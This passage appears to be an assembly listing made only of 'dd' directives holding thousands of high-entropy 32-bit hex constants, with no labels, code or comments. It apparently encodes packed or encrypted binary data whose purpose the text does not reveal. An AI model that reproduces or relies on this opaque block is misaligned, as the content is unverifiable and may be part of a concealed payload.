		dd 94B9E902h, 3D1DE7BBh, 905D400Bh, 0E2C35F64h,	0CC144F80h
		dd 55A32D8Ch, 0E08F32A2h, 68053EF3h, 445341EEh,	906B44A1h
		dd 0CF6AE985h, 0F2ADFE96h, 0A9209A0h, 0A0558B5Fh, 0EE9CF79h
		dd 0C769D2CEh, 0A8499F66h, 0FE27F566h, 0D19E3308h, 402EBAA3h
		dd 6107C3F6h, 0F4F81517h, 0D4F4DB4Bh, 0BC094EB2h, 2DF2A6F5h
		dd 17FCC930h, 0D466F173h, 0DB774F3Ah, 0C4569077h, 0E34F83EAh
		dd 0E5F85612h, 0FE7F25B5h, 9A5064B4h, 0C696BD64h, 55685109h
		dd 0BC0AD673h, 0CE50627h, 90F05027h, 0DA8188EEh, 794C953Ch
		dd 1C979D2Bh, 0C37A973Dh, 0AC6A9C8Dh, 3BF4C56Dh, 5758B132h
		dd 90EFE77Bh, 6796CF12h, 5E673133h, 0D2FAF407h,	6A1DDE97h
		dd 3C3E016Ch, 604F6790h
		dd 7D12C9BEh, 8F352AB6h, 0E011A2FAh, 64478EFh, 0E7C15F29h
		dd 3540608h, 532E90C2h,	689D1B14h, 2E187FE7h, 0A983DB8Bh
		dd 0E82FA094h, 8F53B26Eh, 504AE94Fh, 0F6AC209Bh, 5FD80125h
		dd 0C8B8CEBAh, 2B95DA2Ch, 2D9DCB8h, 40B55044h, 610CD75Ch
		dd 3BE90C65h, 66271317h, 0AEC18EC3h, 7B223AD0h,	7F71DD50h
		dd 4E02B1ACh, 824A1F30h, 540B13E0h, 3A4390Eh, 0D1121294h
		dd 7D7A881Dh, 0C9FE1E25h, 0C001CB1Fh, 0D3F604E3h, 7FC2C130h
		dd 0B4869730h, 2A40407Fh, 75BD0FBBh, 0C946459Eh, 0C09FF946h
		dd 3E14E3EEh, 0F1AA1A5Fh, 327997F1h, 6F165E4Bh,	485BED80h
		dd 45B80703h, 0F0828D0h, 72826859h, 8636CA39h, 0A0BE458h
		dd 0E02B62E9h, 2C7BCA5Ch, 2DF55C0Dh, 5312197Eh,	86086DBEh
		dd 0A178E9D4h, 6FBA052Ch, 0AA77BC4Ch, 9CBE10C5h, 80A0431Bh
		dd 4A0B9EB1h, 601EE998h, 2055E1Ah, 0F24E4FB3h, 38C1C189h
		dd 5750026Fh, 6858D9D9h, 9D7B4C21h, 442155CFh, 7F70B508h
		dd 71880680h, 0E9113B9Ah, 0BD1FDE59h, 68A8FD42h, 8FC20287h
		dd 0EE89978Eh, 0D0F95A93h, 5B80237Ch, 34321AC1h, 833D2FF1h
		dd 7CC2DE22h, 0D5496168h, 7F558219h, 3B0901C0h,	0F2811A06h
		dd 94110D95h, 99DA556Ch, 4234847Ch, 0AE806914h,	256093C2h
		dd 12F77A4Dh, 8E628067h, 0E62EF443h, 0A0E35ED1h, 0F30B81C4h
		dd 0F6E63BB0h, 0CDE0295h, 58057C2Eh, 5543CC80h,	0E6D6A0BDh
		dd 0EB31283Bh, 4CF30994h, 2980390Dh, 0E1B6E9DAh, 7C76EE95h
		dd 71743748h, 47EA62E3h, 9E8CDB48h, 5F97A82h, 17DD7175h
		dd 3F930931h, 6A5A7F41h, 62AAC865h, 56C2530Ch, 5C9DD7F0h
		dd 3FC55921h, 0E5250EACh, 9A5A67FCh, 0D7AE094Eh, 0EE40041Ah
		dd 65B715ECh, 45071645h, 0FA2D5E02h, 0E912E68Bh, 2DCAACE6h
		dd 62FDD358h, 90C71DE3h, 0B39F4C8Bh, 0FC1BCAE8h, 535203EAh
		dd 0B6A0A5B7h, 0C65EFE12h, 0E91650ACh, 298D8233h, 5B2DA57Fh
		dd 0D55C4293h, 84DDD7A0h, 0D618C675h, 5EF4E277h, 4C7A0541h
		dd 9836E0E9h, 0D3E86231h, 0EF491C78h, 91B99775h, 52FA4A4Bh
		dd 40AE13F4h, 227AF118h, 0C29595D2h, 0E5F85FD5h, 6E49BE02h
		dd 5657586Ah, 20DD632Fh, 138D0A48h, 985D28CEh, 4AB05040h
		dd 5B34C0FEh, 9940AFE4h, 0AD2C1D05h, 372D0175h,	684F517Ah
		dd 0F61FADEAh, 287127C3h, 5830F6ADh, 5C81C131h,	0F0E0D2D5h
		dd 0C0BAAAEEh, 819D3DDBh, 5B459E59h, 2879D888h,	0A2EA5B14h
		dd 0F1971843h, 7065682Ch, 0A5EB510h, 0BD34E9E7h, 5B5741EAh
		dd 6B41E860h, 0C009BE09h, 2EBE2B8h, 0E964774Fh,	0DDA91352h
		dd 5810697Ch, 68068848h, 0D4446617h, 31EF3EEh, 0AAD676D3h
		dd 0B8B28CBFh, 561D900Ch, 5B794239h, 419BDDD5h,	64F82D70h
		dd 9C41C5CFh, 8A15207Ch, 0FF971852h, 0A9474795h, 1472E2D1h
		dd 89DD09A0h, 77608B33h, 76689A21h, 59E33B3Bh, 5D45A52Fh
		dd 9F085196h, 56C02529h, 0DF303AA9h, 27D80C17h,	3F345022h
		dd 52054E3Eh, 0CE5D00ACh, 78C7036Eh, 9C0BF6ECh,	0D539DC6Dh
		dd 0EC6C8E8h, 4BE8DA27h, 6CDE229h, 65091E47h, 6374E51h
		dd 0CF3B419h, 0B136D5C3h, 8409F322h, 70B9A893h,	0C4A120A4h
		dd 38C7B4CEh, 2806EF8Bh, 9BBD7F7h, 4C1D482Fh, 0B2AE08F7h
		dd 0FDBB6C09h, 0AC823CCCh, 0E9BEE875h, 72C89D02h, 0C03CFCB5h
		dd 606E4EDh, 849F385h, 9F324EB7h, 0A42D2460h, 44994316h
		dd 0B71352ECh, 0C9D8BEA9h, 0A0C741F6h, 8C2786F2h, 0B35566Eh
		dd 0BC4E3853h, 0F9E77825h, 0B3498BACh, 5D7846DCh, 6AC2E1D6h
		dd 0A7D4C50Ah, 0CFB7E5C6h, 91B18C84h, 599DCD79h, 0D0E565E5h
		dd 2B2AD37Bh, 25A03C5Ch, 2829F1B6h, 887C5CE9h, 994D3481h
		dd 21F06E27h, 79560E35h, 0A6A0370Fh, 0E93B2214h, 0BBB455Fh
		dd 0FF74F55Ah, 1DF0BC15h, 0D9DAF9F7h, 0C0D1750Fh, 0B9A4E44Fh
		dd 5390E4EBh, 0DE67C0BFh, 0B625975Bh, 0BAF0D03Fh, 0E1092078h
		dd 89D2F759h, 0C29B131Eh, 17FD40DAh, 7DEE2C5Fh,	472F01F7h
		dd 1095086h, 0FF243668h, 0BCD2FE9h, 0E6A0F047h,	0A9F3304Fh
		dd 5D35A392h, 3B40859Dh, 0A7D92A9h, 7F0951C9h, 0FCE90208h
		dd 0C8C04562h, 0EEB1CFE7h, 0F6EBD040h, 4F8690D3h, 0C2897488h
		dd 2B6A17F7h, 545A4BDCh, 0C9AD0979h, 70C40390h,	0BA80F99Dh
		dd 531C6809h, 0AF4B2866h, 28353000h, 39689239h,	2C92E8D1h
		dd 120B34Fh, 38C83EFFh,	4C30F021h, 0E405B799h, 7B15B15Fh
		dd 1425F7B6h, 0D25A2D59h, 0CBC520C1h, 9765529Dh, 3E37A1F1h
		dd 660F858Bh, 407DA5AAh, 2A9F5BCh, 1FEFD24Bh, 309F50EAh
		dd 183F665Eh, 0F9464FAAh, 570202E1h, 635B40BFh,	0E35A48B7h
		dd 54A7210h, 5217850Fh,	0B3B946E8h, 0B96A6408h,	1F3E37B4h
		dd 9D5584A6h, 109BEC47h, 0D04E2D20h, 36FF3ACh, 0BC5F5134h
		dd 35E0708h, 0BE2D5C08h, 53424604h, 0D0FB1B6Eh,	33C6E607h
		dd 0FF736B2Fh, 0B85A8684h, 0EAF35B82h, 0AB3BE9C2h, 72C6B1A7h
		dd 97E1D67h, 1E230760h,	0A410FA33h, 957BF00Dh, 74A55A71h
		dd 0F1DDDAB2h, 8ADF204Ah, 259DD59Dh, 392EF8A8h,	0F5AFEAE2h
		dd 0F9F18CB3h, 0C18D979Bh, 249C8AAEh, 6886FAF7h, 20153637h
		dd 5C48E6AEh, 0DAE4842Ch, 7C5ACAEFh, 5DBE7E27h,	0DEB09D96h
		dd 6D169E04h, 72AC3170h, 12CFEB00h, 0F30156E9h,	88268B0h
		dd 9BFC3DDAh, 29AE5CBDh, 0FB2DC576h, 99AC2D21h,	68587C87h
		dd 0D9F1AB41h, 1C57A38Eh, 0E5BCFE2Fh, 0C04BC62h, 0EF6DD368h
		dd 0FC9F4B4Eh, 0E8D5C53Bh, 13168B88h, 0FC224C7Fh, 0D5F7A104h
		dd 7B04A22Ch, 0F6C042Eh, 7609965Eh, 0B7A0DF66h,	2B236820h
		dd 974B5FB0h, 471622B6h, 8B34E23Ah, 62299051h, 318ACBD8h
		dd 2DD296FFh, 95C2D1E9h, 2FEC987h, 415E7B43h, 64D3501Fh
		dd 385FDCACh, 0C130E90Ah, 68520CCEh, 951670C8h,	0E9D00DD6h
		dd 24BA9C0Ah, 549713BEh, 0E045A1Fh, 0EE5D3024h,	9513AAF3h
		dd 0A1DDBFC7h, 0A3AEDC3Bh, 45E34A5Eh, 2CFEBA03h, 0D1C85980h
		dd 6E54CAE9h, 0EE73299Ah, 0A0A2F5F6h, 3343F322h, 0A0EF3104h
		dd 0F516283Eh, 62B89F09h, 2259E23Ch, 0B876D927h, 73DC6804h
		dd 14FDC7D8h, 0F754403Ah, 0B0039E00h, 3E5EE9D2h, 0B0D13080h
		dd 2CB32CA1h, 962EB928h, 42ECC342h, 15E2112Eh, 0BFB44125h
		dd 4DB515E0h, 64096907h, 15846C6Bh, 30680243h, 21467769h
		dd 0BDAA5254h, 0E013920Fh, 54F54B0Eh, 4F2989E0h, 0F4277A54h
		dd 35FB709Dh, 25096BA4h, 5513DD70h, 180C310h, 0AA097526h
		dd 3E82A808h, 0DEF8F382h, 0B561D895h, 420D00CAh, 2B06011Eh
		dd 26E7E435h, 91E9758Bh, 29819B68h, 0D231E547h,	8FFEE8FFh
		dd 18605C48h, 6E12C53Dh, 0A97E0701h, 3A760932h,	97A2D1E9h
		dd 0BB8CE049h, 0B01F2E05h, 9EC43135h, 3EF8A0AAh, 0F2BD98A8h
		dd 26683413h, 0A21C0EFh, 0E9F0F143h, 1EC89726h,	15485E83h
		dd 3670D101h, 0D4CB800h, 0D1408E24h, 0E8C10430h, 59AE205h
		dd 1FDFB8Fh, 7822D9C2h,	0B8683F8Ah, 65EF4B03h, 5E8BEA6Ch
		dd 823E5850h, 0F40A0257h, 0BFE86C6Ch, 684061C2h, 4F266ECCh
		dd 0C8188A71h, 0BC80E90Dh, 0AAF616C8h, 0A6A9BB87h, 93D5911h
		dd 28EF6856h, 64AD1D31h, 305F5B64h, 6512F9BCh, 0BF334466h
		dd 2031D902h, 4B4EF096h, 11FF3731h, 82A7747Eh, 300CCD8Bh
		dd 5A2C0023h, 9350558h,	0E912E595h, 4130AF85h, 0BD52F388h
		dd 0C610E1FCh, 5B5AF101h, 32D530E9h, 79F94FE4h,	710BFF5Ah
		dd 4A05F09Bh, 84E8B366h
		dd 0DDE114E9h, 0EEE3853Fh, 957DCC3Dh, 0EA95AF13h, 4D5759D7h
		dd 0B7E7D0F9h, 35013650h, 78725887h, 0CCF41C25h, 1C049059h
		dd 0BCB95108h, 29A99C87h, 0C7A1CBC8h, 51ED2AE9h, 6674A185h
		dd 0B1BF10F4h, 942F9B58h, 1026C422h, 5D54B098h,	0A4C3C0BCh
		dd 222B278Bh, 0B9818AD1h, 1B8E14FDh, 0C46F7FF4h, 0BB41012Fh
		dd 29F07229h, 0B88928Fh, 679E1377h, 73094DCh, 1D72CD81h
		dd 0BE7AC739h, 0A6189204h, 67CB804Dh, 6348975Eh, 0BFCC039Eh
		dd 4E5790B8h, 1585A2A4h, 7375C301h, 0F257D72Ch,	0C648D75Ah
		dd 4A4FA5E9h, 1AC0441h,	0A7A5E06h, 508C398h, 0B9500FE9h
		dd 65D925E5h, 1BFD2DD2h, 0B10C0466h, 0AE3D2C56h, 431DF7C1h
		dd 0C0E56782h, 0D5A078h, 0F101B4ABh, 304C9612h,	2160F3FCh
		dd 77FA00F3h, 0FB4F4BBFh, 921232Ch, 0EBD158C3h,	9863D580h
		dd 3127DA3Fh, 758D92F3h, 16C943D3h, 0C66F25C8h,	556B39D7h
		dd 9D262F70h, 0C9CF9A59h, 0EC5ACBB6h, 9238CBFh,	4625F4Dh
		dd 2A6B15A9h, 0AE802D0Bh, 5482769h, 59E5231Dh, 0BAF29D6h
		dd 737BFD44h, 9085317h,	718B1873h, 4B9CA792h, 313B7080h
		dd 0C074BF58h, 5AEF810Bh, 1158175Dh, 954E201Ah,	2DE11C55h
		dd 1C52E9F7h, 158D5F20h, 710A0668h, 449EE559h, 0EE57E9D9h
		dd 1A84EA94h, 0FBC577FFh, 20565C54h, 2501A4B2h,	48ED662Dh
		dd 4BCD8F7h, 0DFC34A04h, 9DE4BE03h, 772A12B3h, 0BB0D0053h
		dd 0E9415244h, 180F1625h, 5BFC68AAh, 0AB014E31h, 82CAFA12h
		dd 0E9849459h, 1246ADD4h, 15CC76B7h, 9D2979AAh,	64256F00h
		dd 47171A09h, 0B0855CE9h, 0D40AF7BFh, 44D32502h, 39BA00A3h
		dd 814E7416h, 3D139DF2h, 67B84276h, 8799B526h, 8240478Fh
		dd 53DF9325h, 0B7E94156h, 0D1F7C21Ah, 0F9F68B53h, 5D7A195Fh
		dd 0A8468688h, 9099F20h, 0FA23DCh, 1373BAF2h, 0B460B749h
		dd 0CAB73884h, 5ED07548h, 7607A50Fh, 0E863E47Eh, 610B20FBh
		dd 357C402Ch, 4693920h,	9224C0BFh, 51D0FE4Ch, 2050C7EBh
		dd 0C0952D83h, 3B1F7FCFh, 0AE5A632Fh, 1326766h,	4D8FB9EFh
		dd 7CF9896Fh, 4B16D247h, 9028B0h, 813BDC5Dh, 4840B3CEh
		dd 427654Ch, 72052BFCh,	0FF281F0h, 68C26D28h, 0FA42D204h
		dd 0CAC9E9C4h, 40EBE22Eh, 7C18A383h, 0E9645B27h, 1B516ECEh
		dd 480DBEC0h, 61B05A61h, 0DE2D027Fh, 590FDB5h, 50005191h
		dd 0C001B652h, 48008EEh, 8AE98CF6h, 1C49B9C2h, 94569203h
		dd 0E7258AFCh, 0D6211001h, 0D0A605Ah, 8C673C0h,	4C738063h
		dd 0F5103B52h, 672D0146h, 150CE4Ch, 7047F71h, 5AA63588h
		dd 29B4CACh, 677CB092h,	5F2A4C49h, 0C98231EAh, 0A3906EB4h
		dd 0BEF441DAh, 2089AD57h, 2538E67Fh, 13F44C1Bh,	588BDFEBh
		dd 141F69DDh, 57493807h, 31A8FDE1h, 819C0166h, 0C90079D6h
		dd 7710F752h, 0D12AFB9h, 14BB59F6h, 1406A3DCh, 0F4B12EF8h
		dd 2FE64FA1h, 5325F3D1h, 0B7DE5A02h, 91073ADh, 625B5BDFh
		dd 7911C701h, 0CFFD6CB3h, 43EE4EBAh, 20BE93DFh,	9A4B18A8h
		dd 0E1812100h, 4FEE0C92h, 0AE274AE9h, 6F682230h, 4DE5BD3Dh
		dd 4F7E6A27h, 79E88A0Ah, 0CBF89D9Ch, 78E9DD8Bh,	665224E5h
		dd 97DE5672h, 807F59DAh, 4F7A5E25h, 1A8F626Eh, 58039113h
		dd 4E85BE21h, 5AC49F5Dh, 96102FA2h, 9FBB0354h, 0D3696475h
		dd 0EA554E15h, 2098A746h, 0ADA5598Bh, 9CD55925h, 3F30B7A2h
		dd 98979521h, 0B50397FCh, 80026767h, 825142C3h,	0FA7A0583h
		dd 49B80B6Dh, 38F62D1h,	0EFDE69A5h, 20C65340h, 0B0108074h
		dd 48A2FC43h, 4381E913h, 3042FC58h, 91167C18h, 12AB6DCBh
		dd 0F112AB2Dh, 32CE8EEFh, 449064C3h, 1513099Ah,	0FA8563ABh
		dd 814BB84Bh, 2A3106E1h, 2F9E52F1h, 0EB98BB88h,	685D26CCh
		dd 0B11C0704h, 89BA5E10h, 0BC30921Eh, 78123E92h, 2AF49D77h
		dd 60364DD3h, 0E9F201E0h, 0C85D434Eh, 0CF125D93h, 0A99D64BAh
		dd 570901D8h, 0E490E91Ch, 3335B68Eh, 0AC5FD904h, 0A9E74FCDh
		dd 7E02457Ah, 571A2AE6h, 0A251C754h, 0D132940Bh, 0F5C1C76Bh
		dd 0C5C4B807h, 91115158h, 2B4F75AAh, 69BFAD84h,	56F03F3Eh
		dd 0B474065Bh, 0B5FBF6Ch, 6AB0DFA1h, 5E7864B9h,	8887C126h
		dd 58C13EE2h, 0B37EA324h, 4F5A79D7h, 8BBE2312h,	65F95FC1h
		dd 0B0E6AAF5h, 17CFBED3h, 5EB78676h, 0BB5D6B39h, 5EB42746h
		dd 5B1D918h, 7B292B2Ch,	0DB1A4E03h, 0E0EEB36Dh,	4F691511h
		dd 8229AA31h, 0DCAF9B44h, 1C05D414h, 0D687ED8h,	2BE97590h
		dd 0E37AE1ACh, 98E293CAh, 0A0C0AB92h, 698D4C58h, 85590240h
		dd 0F8805345h, 7A2A3622h, 120AB85Dh, 458E47E9h,	22DEAF8h
		dd 0EB305AD0h, 508234D1h, 6A4480E9h, 0B9E475D0h, 0A24F77F6h
		dd 762577A6h, 5695D158h, 50DC7AF6h, 6E03DEC8h, 422C852h
		dd 0FE43670Ch, 416DE91Ah, 140CA008h, 0D798594Bh, 1361B656h
		dd 4857045Bh, 6F2BA5B8h, 740162D1h, 7579F404h, 88AACA4Ch
		dd 6294023Ch, 0DF7D71h,	0B86720BEh, 0B4E92C4Eh,	0E3898BD9h
		dd 95CBEE7Dh, 5FCCA368h, 5F895780h, 8A014BDFh, 82536A25h
		dd 0BD00D659h, 4EE20B05h, 4443A429h, 9B81B05h, 67EC3EE9h
		dd 0CAC4F84Dh, 7C68056Dh, 0BA7298h, 2F5F65D8h, 50E9D131h
		dd 9DC6114Ch, 767254C5h, 10AFF5C5h, 0C60082Ch, 1ECD62B4h
		dd 8B055F03h, 8B01A425h, 70BFDC8h, 0F2A07F59h, 4FEF0620h
		dd 0C4F7FCC0h, 1329169Eh, 0D0D8E9D7h, 1888E712h, 957DD23Dh
		dd 4CADF363h, 73B73821h, 7D8AE2F6h, 189D1A64h, 4FE9561Bh
		dd 2CCBC1EFh, 28F8F05Bh, 271ED84Ch, 0A724DBA1h,	6A52D5DAh
		dd 0BDE42035h, 82EDA8D0h, 6B687112h, 858CD956h,	0A41C3CE9h
		dd 290564DAh, 0DA2147F6h, 29E93E98h, 0A4F387ADh, 9FF2CC6h
		dd 0CD7FD606h, 0E57027B7h, 0EA3B9862h, 63B0555Dh, 0AD7DF2Eh
		dd 4A43891Fh, 0EAA47C9Eh, 439524Dh, 2019B1EFh, 1C18AF5Ch
		dd 271BC212h, 0AF612E6Fh, 98C47EFDh, 0BA1265EEh, 0B443B449h
		dd 560396A4h, 0E9068491h, 0B7C9D3AEh, 5F5F43D0h, 40FF81D0h
		dd 87A50A8h, 723E0954h,	0E8D60164h, 10340CC8h, 95111C36h
		dd 94BF325Ah, 20E9180Eh, 0C1FE0AC6h, 808004CEh,	59CF28E3h
		dd 0E7E0E566h, 0F0F7F657h, 3A237004h, 5B042CF8h, 875CB353h
		dd 0E86B1Fh, 5582F9EEh,	7CBD4748h, 0FC652727h, 0F2AB02C9h
		dd 0DF624423h, 0E912215Fh, 486BDBE1h, 6009FDACh, 85B7E530h
		dd 57B0E3E9h, 7B84E596h, 32686DB4h, 61270E59h, 78B790F8h
		dd 2C334F48h, 219C1E78h, 65836806h, 0B89E2039h,	8B60E4FEh
		dd 0D226BF0Ah, 297516E7h, 1D8C80EFh, 9C4E859Bh,	0CF35DDA9h
		dd 0ABF8004Bh, 5D7A0B36h, 0A33577Dh, 4EBC5B24h,	2B67B451h
		dd 261B6462h, 8292D628h, 0CA208BB1h, 41DC59DFh,	0C15CF280h
		dd 0C77B6CD0h, 0D800482Ch, 0C47EE368h, 1152E53h, 0C8B8840Fh
		dd 53FA902Eh, 0D7C5C68h, 59E94F0Ch, 3581AD2h, 508E0C1h
		dd 60A8CB04h, 79DC789h,	0EA0CC89h, 60B9E920h, 66EFE5DDh
		dd 0E61373B7h, 9B065B57h, 69DCC3D5h, 0EEF7955Dh, 0E8309DFCh
		dd 0E8958E8Fh, 529BAA9h, 0D12E116Dh, 0D62480EAh, 7E2F8075h
		dd 9291A009h, 907936A0h, 0BDD75AABh, 0F4FE1893h, 9EEA6846h
		dd 11A56FD9h, 44C8204Dh, 0D60231Dh, 41CE800Ch, 0E174B7B1h
		dd 59495813h, 0FF3EA95Eh, 0F02089Eh, 5368C8B7h,	0D234901Dh
		dd 607E978Ah, 0DAACCEE5h, 3AB5B802h, 114377C8h,	0A198EAF4h
		dd 308D415Fh, 254B2D58h
		dd 55E321ECh, 0E0E9EE09h, 0EC794AAFh, 3713BF54h, 0BE0097B2h
		dd 7A21650h, 1DC6817Ch,	0A89FD441h, 0C12114F5h,	0E02E6FF8h
		dd 3F6233F1h, 0BF5CB77Eh, 71996841h, 5EDAA63Ah,	0E90B41B7h
		dd 0BA593307h, 92D52A6h, 773E7795h, 73F76817h, 0E9F0EFB8h
		dd 2DA9697Fh, 80972F5Ah, 8807B734h, 0F2E72CBh, 936D6F57h
		dd 5A54988Bh, 0CC555337h, 6EDB5690h, 7F9D0BBDh,	0C04CE0Bh
		dd 4A44BDDEh, 0F8CD25EBh, 0BDC2A459h, 0D0E0D48Fh, 0FFDD9CFBh
		dd 4326F6A5h, 353531FEh, 0E3AE2834h, 4013398Ch,	0ECA0181h
		dd 4A1C6C6Eh, 0D5866157h, 0D9996F47h, 0CEF4A1E8h, 0ED20C131h
		dd 0CF314D83h, 617240B1h, 0B572A739h, 56252077h, 1C05248h
		dd 1B6C455Ch, 90D310BAh, 0B0F23168h, 128E96E7h,	673CFF5Eh
		dd 4567A001h, 87028289h, 2905A0E0h, 0FE0313ABh,	0D2EEDE52h
		dd 4FD4918Ah, 8BBBFD2Fh, 2CD09BF7h, 0F5318A5Fh,	2F3270ABh
		dd 40DF2D00h, 0D15F1071h, 4E68E00Bh, 3EDEB127h,	5F64FDFCh
		dd 0C03A8452h, 0ABE4F246h, 984480Fh, 86532AD0h,	25CC5688h
		dd 0DCA582FFh, 12985523h, 0CE2984Fh, 168C6CBDh,	0A8E5D4E9h
		dd 7048DE7Fh, 9768046Fh, 201CCD76h, 1E14E68Fh, 26CB1764h
		dd 2B04EB84h, 0D5BA40E9h, 68B2EFAFh, 9ADC887h, 4D38F955h
		dd 0F3E93A07h, 562B9B5h, 130F3D56h, 0AD4E81FAh,	0C93181C2h
		dd 17F42A8Ch, 16B20220h, 16EE32Dh, 7B59D5D4h, 0E1E6D878h
		dd 19BD6A1Fh, 3E2CF600h, 4AE93B45h, 3F76A114h, 0DC2ABA33h
		dd 7095209h, 7B50FC61h,	60FC6C49h, 96C50C20h, 9C25161h
		dd 9C789D20h, 2D059EA4h, 3EE18558h, 0B88928h, 3A77238Bh
		dd 0E360F635h, 0D4F2BDh, 715A5043h, 9141740Dh, 0F2353F07h
		dd 0F859D74Dh, 2DC3902Dh, 280BAB09h, 67104157h,	0B17B8D75h
		dd 0EEE89ACCh, 561A7522h, 818CED61h, 42C32D0Ah,	0E93A4016h
		dd 23E981ECh, 0D43B2C99h, 40812CDh, 0D1419Bh, 782EE305h
		dd 832D0509h, 84B708FAh, 8876A031h, 0BA82CA62h,	685602CDh
		dd 300960C9h, 4082432Dh, 2F795EE9h, 1A090259h, 0FDD4CC7Dh
		dd 90B0DFDAh, 3BA9EA4h,	44355F4Eh, 0BB661780h, 1E397413h
		dd 1E88F381h, 0AF18B455h, 421BE8C1h, 2E807FFAh,	7F7BE902h
		dd 0B60D19Dh, 57FC9D5Fh, 0D9F07FDAh, 0BDAF1C20h, 650E04DAh
		dd 0DFB27C86h, 6211AB82h, 95D85541h, 685B0880h,	145FB325h
		dd 0EA595EC0h, 8086223Ch, 3516B605h, 56EC042Bh,	46600741h
		dd 871A136Bh, 0EDFFF020h, 7EBF1470h, 8BE9F077h,	0B2D1B55Eh
		dd 0C21068F2h, 5F2545EEh, 0A0985477h, 0ED0CD608h, 7C592C0Bh
		dd 57FE7A42h, 9782E37Bh, 6015CE54h, 255C6F59h, 0ADD11B8Dh
		dd 2700C347h, 4511F17h,	0A67F15B9h, 1CA1AF7Bh, 0B2241FFh
		dd 1704B204h, 15B8E3E9h, 0DD0F803Ah, 4A4BE830h,	0D22E714Bh
		dd 0DDA573BFh, 50FECF94h, 2A13ABABh, 50F2ABEBh,	7679B44Ch
		dd 80476056h, 2E903652h, 4B0A2690h, 0FA403223h,	0DE4A04BFh
		dd 0A0EA640Eh, 3B77C27Bh, 10DBB09h, 0DC5C80EAh,	981DCD59h
		dd 13380199h, 0BBE94B10h, 7CBA2AC9h, 534A5CFFh,	2F93D408h
		dd 5E0268DCh, 0C11BBA73h, 53008332h, 90F0A1B3h,	5B3AD84Dh
		dd 37CBE880h, 2A51282Ch, 476EC9Eh, 44E9CDE1h, 0C7E1EC2Bh
		dd 0D50B433Dh, 0E0602732h, 6CB70B08h, 16F820CAh, 80BDBDFCh
		dd 26982DE4h, 85FA4BB2h, 0D5F70FE2h, 5860FA12h,	0B67F8268h
		dd 0AA427A17h, 0AE58CED6h, 3DE1A5C8h, 0B4C187ADh, 7BD02E31h
		dd 58992B6Bh, 0B9000160h, 0E9DA2A39h, 59B79F41h, 63C78BBBh
		dd 0BB1444C4h, 3ACC5A01h, 772409EEh, 0BA27554h,	0C0007ACEh
		dd 0E6D003E8h, 5B60552h, 105AF028h, 1610CBB0h, 0D680AB4h
		dd 28CFA843h, 0DFB709C7h, 5F35504h, 1EEEFC1h, 0C6707379h
		dd 2FA82171h, 27E948F4h, 0FCD2A1E7h, 89436C0Ah,	872DB411h
		dd 92CA5791h, 6E6C04CBh, 5DF18CEAh, 2D89F39Dh, 2576BE5Fh
		dd 7D15C6C4h, 0D60A5793h, 7EAFF88Dh, 0D978A765h, 73329D77h
		dd 0A9D5246Dh, 0C1167DCDh, 48A95527h, 3B71D817h, 0EF01499Dh
		dd 45300F7Ch, 662AF301h, 513CD239h, 7BAF1354h, 84FF24EFh
		dd 93CBC2A7h, 8DEE5C04h, 0DAA83F64h, 0E29BFAB4h, 15DBDC6Bh
		dd 0D997C24Bh, 0F12962DFh, 7942A27Eh, 0AA5B0578h, 942F8FF7h
		dd 62C2E6DEh, 90194882h, 3C768248h, 95962Ah, 70240D01h
		dd 26F8F704h, 4E8091CAh, 6130E3C0h, 49983E29h, 28402409h
		dd 26CE561Ch, 90F1253Eh, 10CBC114h, 0BF5FDB63h,	6AF29132h
		dd 89E9597Ah, 5F71C043h, 268FC82Fh, 0B5209542h,	38EE197Ah
		dd 0DCBF0DB0h, 0D557149Ah, 0FACDB112h, 0F97AA389h, 89A5DD36h
		dd 470E8190h, 0EAE826CCh, 723592C3h, 41CE36F2h,	1C980E06h
		dd 0B557BF0Ch, 175B0C14h, 91734818h, 7F01D9EAh,	800FFE5h
		dd 0B7AE685Ah, 452D9422h, 0DE2CD2E5h, 0F772A009h, 442DC895h
		dd 5ABBB59Dh, 5D18EE17h, 0A0FF93C9h, 0F6885855h, 808DA289h
		dd 66501CEDh, 17BDB67Ah, 161BFCD0h, 1DFF672Ch, 256323Ah
		dd 32F96624h, 1564EF58h, 0B583BEC2h, 0D7E1DAFAh, 3EBE23B0h
		dd 0F7913AFCh, 6CB8E904h, 0F222CCFAh, 0BCB7401Dh, 0F3AFCD6Ch
		dd 60B21F07h, 822B4A95h, 0A31B15h, 8003B551h, 9D21F539h
		dd 0C5807FCDh, 0E9EB28FCh, 62659791h, 2F86973Dh, 13C47CFh
		dd 82E9EDDBh, 55F48AE9h, 6642A7DEh, 9ABB009Dh, 6814F85Fh
		dd 0AEE3C1h, 0E97742F3h, 0F4D14B6Bh, 16DB60F7h,	0B028F22Ah
		dd 0D04B4CFAh, 0DE9432EAh, 6BEBF00h, 0B9645A70h, 66017366h
		dd 0E9315013h, 313AD50Ah, 7205D1h, 243DA62Dh, 0FB4EB4h
		dd 3CBC733Bh, 0DBB66CE9h, 3AA83507h, 0AA43D7CBh, 81BB13E9h
		dd 68F5B070h, 0F07361E3h, 28F1B501h, 203059E8h,	0D74E3B17h
		dd 0E9FA6CBFh, 5B8F7E25h, 5FC328E3h, 8482F2BEh,	1816210Ch
		dd 28BFAE0Dh, 17AD1E48h, 0C3E49FBBh, 0D967121Dh, 0D770E30h
		dd 14DD020h, 0E94853CDh, 6E3645F3h, 0BE047DA9h,	0EFBA519Ch
		dd 3036728Dh, 44A3825Eh, 0F3FDBD03h, 0B6A28785h, 6922DE76h
		dd 0A3E590FDh, 5E5582A5h, 566D822Ch, 0C2C0179Fh, 0DC3E209Dh
		dd 0BECE026Bh, 0E078E21Fh, 357FF5A0h, 0B236DE5Dh, 8326C403h
		dd 62BDA813h, 0C4CB5BD2h, 7DA40065h, 6D05FDC4h,	1B024923h
		dd 0A169542Dh, 0E4C07D1Ch, 598097FAh, 16F39B57h, 1F21BD89h
		dd 77570AEBh, 818A77FAh, 45B850FEh, 7647AF10h, 5509729Ah
		dd 0E9419E45h, 0B740945Eh, 2642B2B9h, 5E1658Ah,	0C308F0A3h
		dd 0B0BACA01h, 6022B257h, 74E7FC9Bh, 0BB84D731h, 707A00CCh
		dd 4ED1B52Eh, 0B607B848h, 87CBC038h, 32017931h,	0E920430Ch
		dd 414681C9h, 3D979AA0h, 0BA52C0BDh, 1475430h, 0C1DAF75Bh
		dd 0DA9207EAh, 0D022DA5Fh, 0A4049808h, 85FEB68Eh, 0F78C45D9h
		dd 8202EADDh, 0D5699A3Eh, 0F504C1F0h, 55197450h, 0A22412EEh
		dd 288A9386h, 0A7105C58h, 0F75904ADh, 0AC8241D1h, 3CDF8002h
		dd 9D166730h, 6B43C660h, 310FF502h, 82895EF1h, 77962BF8h
